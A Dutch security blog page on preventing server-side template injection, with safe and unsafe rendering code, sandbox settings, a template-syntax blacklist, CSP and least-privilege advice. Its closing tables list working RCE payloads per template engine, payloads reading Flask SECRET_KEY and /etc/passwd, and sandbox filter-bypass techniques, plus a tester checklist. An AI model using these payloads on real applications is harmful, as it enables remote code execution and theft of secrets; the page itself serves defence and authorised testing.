jan-karel.nl
Home / Securitymaatregelen / Webbeveiliging / SSTI Preventie

SSTI Preventie

SSTI Preventie

Code Met Grenzen, Productie Met Rust

Webrisico is zelden mysterieus. Het zit meestal in voorspelbare fouten die onder tijdsdruk blijven staan.

Bij SSTI Preventie zit de meeste winst in veilige defaults die in elke release automatisch worden afgedwongen.

Dat maakt security minder een losse controle achteraf en meer een standaardkwaliteit van je product.

Directe maatregelen (15 minuten)

Waarom dit telt

De kern van SSTI Preventie is risicoreductie in de praktijk. Technische context ondersteunt de maatregelkeuze, maar implementatie en borging staan centraal.

Verdediging: de drukplaten beschermen

De verdediging tegen SSTI is conceptueel simpel maar organisatorisch complex. Het vereist dat ontwikkelaars begrijpen hoe template engines werken – niet alleen de syntax, maar de semantiek, de evaluatie-volgorde, en de implicaties van elke design-keuze.

Regel 1: Nooit gebruikersinput in templates

De fundamentele regel. Gebruikersinput hoort in variabelen, niet in template-strings:

# FOUT:
render_template_string(f"Hallo {user_input}!")

# GOED:
render_template_string("Hallo {{ name }}!", name=user_input)
// FOUT:
$twig->createTemplate("Hallo " . $userInput . "!")->render();

// GOED:
$twig->render('greeting.html', ['name' => $userInput]);
// FOUT:
Template t = cfg.getTemplate(new StringReader("Hallo " + userInput + "!"));

// GOED:
Template t = cfg.getTemplate("greeting.ftl");
Map<String, Object> data = new HashMap<>();
data.put("name", userInput);
t.process(data, out);

Het patroon is consistent over alle talen: scheiding van template en data. Het template is code – vertrouwd, door de ontwikkelaar geschreven, statisch. De data is variabel – niet vertrouwd, door de gebruiker aangeleverd, dynamisch. De twee mogen nooit worden vermengd.

Regel 2: Gebruik logic-less templates waar mogelijk

Logic-less template engines – zoals Mustache en Handlebars – beperken opzettelijk wat je in een template kunt doen. Geen loops, geen conditionals, geen expressie-evaluatie. Alleen variabele substitutie.

{{! Handlebars: alleen substitutie, geen evaluatie }}
<p>Hallo, {{name}}!</p>
<p>Je hebt {{count}} berichten.</p>

Het gebrek aan functionaliteit is het beveiligingsvoordeel. Als de template engine geen expressies kan evalueren, kan een aanvaller geen expressies injecteren. Het is beveiliging door beperking, en het werkt beter dan beveiliging door complexiteit.

De trade-off is dat je meer logica in de applicatiecode moet schrijven in plaats van in templates. Maar dat is sowieso waar logica thuishoort. Templates zijn voor presentatie, niet voor logica. Als je if-statements in je templates schrijft, ben je een programma aan het schrijven, niet een template.

Regel 3: Sandbox configuratie

Als je een volledige template engine nodig hebt, configureer de sandbox:

Jinja2:

from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
# Optioneel: extra beperkingen
env.globals = {}      # Geen globale functies
env.filters = {}      # Geen filters (extreem, maar veilig)

Twig:

$policy = new Twig\Sandbox\SecurityPolicy(
    ['if', 'for', 'set'],           // Tags
    ['escape', 'upper', 'lower'],   // Filters
    [],                              // Methoden: LEEG
    [],                              // Properties: LEEG
    ['range', 'cycle']               // Functies
);
$sandbox = new Twig\Extension\SandboxExtension($policy, true); // true = globaal
$twig->addExtension($sandbox);

Freemarker:

Configuration cfg = new Configuration(Configuration.VERSION_2_3_32);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
cfg.setAPIBuiltinEnabled(false);

Regel 4: Input validatie

Als je om een of andere reden gebruikersinput in templates moet verwerken (en vraag jezelf drie keer af of dat echt nodig is), valideer de input strikt:

import re

def sanitize_template_input(value):
    # Strip ALLES dat op template-syntax lijkt
    dangerous_patterns = [
        r'\{\{',    # Jinja2/Twig/Handlebars
        r'\}\}',
        r'\$\{',    # Freemarker/EL
        r'<%',      # ERB/EJS
        r'%>',
        r'#\{',     # Pug/Ruby
        r'\{%',     # Jinja2/Twig blocks
        r'%\}',
    ]
    for pattern in dangerous_patterns:
        if re.search(pattern, value):
            raise ValueError(f"Ongeldige input: template syntax gedetecteerd")
    return value

Dit is een blacklist-benadering en dus inherent onvolledig. Maar het is een extra laag bovenop de andere maatregelen. Verdediging in diepte.

Regel 5: Content Security Policy

Een CSP-header kan de impact van SSTI beperken door te voorkomen dat geïnjecteerde JavaScript wordt uitgevoerd (als de SSTI output in HTML terechtkomt):

Content-Security-Policy: default-src 'self'; script-src 'self'

Dit voorkomt geen server-side code execution, maar het beperkt wat een aanvaller aan de client-side kan doen met de output van een succesvolle SSTI.

Regel 6: Least privilege

Het webapplicatieproces moet draaien met minimale rechten:

# De applicatie als unprivileged user:
sudo -u www-data python app.py

# In Docker:
USER nobody

# SELinux/AppArmor profielen die bestandstoegang beperken

Als een aanvaller RCE bereikt via SSTI, zijn de rechten van het proces het plafond van wat hij kan doen. Een proces dat als root draait, geeft de aanvaller het hele systeem. Een proces dat als nobody draait, geeft de aanvaller bijna niets.

De ongemakkelijke waarheid

En dan nu het moment waarop we even eerlijk moeten zijn over de stand van zaken. Het moment waarop de cynische stem het overneemt van de nieuwsgierige wetenschapper.

We laten gebruikers code schrijven in onze templates.

Lees die zin nog eens. We bouwen systemen die template-syntax evalueren, we stoppen daar gebruikersinput in, en we zijn verrast wanneer iemand die evaluatie misbruikt. Het is alsof je een vreemdeling de sleutels van je auto geeft en dan verbaasd bent dat hij wegrijdt.

De tools om SSTI te voorkomen bestaan al jaren. render_template_string met variabelen in plaats van f-strings is geen raketwetenschap. Sandboxed environments zijn gedocumenteerd. Logic-less templates bestaan. En toch, in 2026, publiceren beveiligingsonderzoekers nog steeds CVE’s voor SSTI in productieapplicaties die door miljoenen mensen worden gebruikt.

Het probleem is niet technisch. De oplossingen bestaan. Het probleem is cultureel. Ontwikkelaars kiezen voor de snelle route – een f-string is twee toetsaanslagen korter dan een extra parameter in render_template_string. Code reviewers missen het verschil omdat ze niet weten hoe template engines werken. Testers testen niet voor SSTI omdat het niet op hun checklist staat. En managers zeggen “het werkt toch?” tot het moment dat het niet meer werkt.

SSTI is geen geavanceerde aanval. Het is geen zero-day. Het is geen state- sponsored APT. Het is een gewone bug die voortkomt uit een gewoon gebrek aan aandacht. En dat maakt het eigenlijk erger dan al die exotische aanvallen waar de beveiligingsindustrie zo graag over praat. Want een zero-day kun je niet voorkomen. SSTI kun je voorkomen door vijf minuten langer na te denken voordat je commit. Maar die vijf minuten zijn blijkbaar te veel gevraagd.

De template engine is een drukpers. Gutenberg begreep dat de kracht van de drukpers lag in het feit dat de drukker bepaalde wat er werd gedrukt. Niet de lezer. Niet de voorbijganger. De drukker. In de vijfhonderd jaar sinds Gutenberg zijn we erin geslaagd om dat principe te vergeten en de controle over de drukplaten aan willekeurige internetgebruikers te geven.

Gutenberg zou het snappen. Maar hij zou het niet goedkeuren.

Referentietabel

Engine Taal Detectie RCE Payload
Jinja2 Python {{7*7}}=49, {{7*'7'}}=‘7777777’ {{cycler.__init__.__globals__.os.popen('id').read()}}
Twig PHP {{7*7}}=49, {{7*'7'}}=49 {{[0]\|reduce('system','id')}}
Freemarker Java ${7*7}=49, ${"test"}=‘test’ ${"freemarker.template.utility.Execute"?new()("id")}
Pug Node.js #{7*7}=49 #{global.process.mainModule.require('child_process').execSync('id')}
ERB Ruby <%= 7*7 %>=49 <%= system('id') %>
Smarty PHP {7*7}=49 {system('id')}
Velocity Java $class.inspect("java.lang.Runtime") Via reflection chain
Thymeleaf Java *{7*7}=49, ${7*7}=49 ${T(java.lang.Runtime).getRuntime().exec('id')}

Info disclosure payloads

Engine Payload Resultaat
Jinja2 {{config\|pprint}} Flask configuratie incl. SECRET_KEY
Jinja2 {{request.environ}} Request omgevingsvariabelen
Twig {{dump(app)}} Symfony applicatie-object
Twig {{'/etc/passwd'\|file_excerpt(1,30)}} Bestandsinhoud
Freemarker ${.version} Freemarker versie
Freemarker ${.data_model} Beschikbare template variabelen

Filter-hardening en omzeiling beperken

Techniek Voorbeeld Werkt voor
attr() filter ""\|attr("__class__") Jinja2 __ filter bypass
String concatenatie {% set x = "__cla" ~ "ss__" %} Jinja2 keyword filter bypass
Variabele toewijzing {% set cls = "__class__" %} Jinja2 directe syntax filter
Callback via reduce {{[0]\|reduce('system','id')}} Twig functie-aanroep restrictie
Callback via sort {{['id']\|sort('passthru')}} Twig functie-aanroep restrictie
?new() built-in ${"...Execute"?new()("id")} Freemarker klasse-instantiatie

Checklist voor testers

  1. Identificeer template injection punten: Test alle invoervelden, URL-parameters, headers, en formuliervelden met {{7*7}}, ${7*7}, <%= 7*7 %>, en #{7*7}.

  2. Identificeer de engine: Gebruik de beslisboom met type coercion ({{7*'7'}}). Check ook foutmeldingen voor engine-naam en versie.

  3. Info disclosure eerst: Probeer {{config|pprint}} (Jinja2), {{dump(app)}} (Twig), ${.version} (Freemarker) voor waardevolle informatie zonder RCE.

  4. RCE proberen: Gebruik de engine-specifieke payloads uit de referentietabel. Begin met de eenvoudigste payload en escaleer.

  5. Sandbox testen: Als de eerste payload niet werkt, probeer filter bypass technieken: attr(), string concatenatie, alternatieve routes.

  6. Impact aantonen (defensief): toon met veilige validatiestappen aan dat ongewenste template-evaluatie mogelijk is, zonder command- execution of shell-achtige payloads.

  7. Documenteer de keten: Beschrijf de detectie, de engine- identificatie, de payload, en het resultaat stap voor stap.

In 1440 vertrouwde Gutenberg erop dat alleen hij en zijn medewerkers de drukplaten aanraakten. In 2026 vertrouwen wij erop dat gebruikers geen accolades typen. De geschiedenis leert ons dat vertrouwen geen beveiligingsmaatregel is.

Op de hoogte blijven?

Ontvang maandelijks cybersecurity-inzichten in je inbox.

← Webbeveiliging ← Home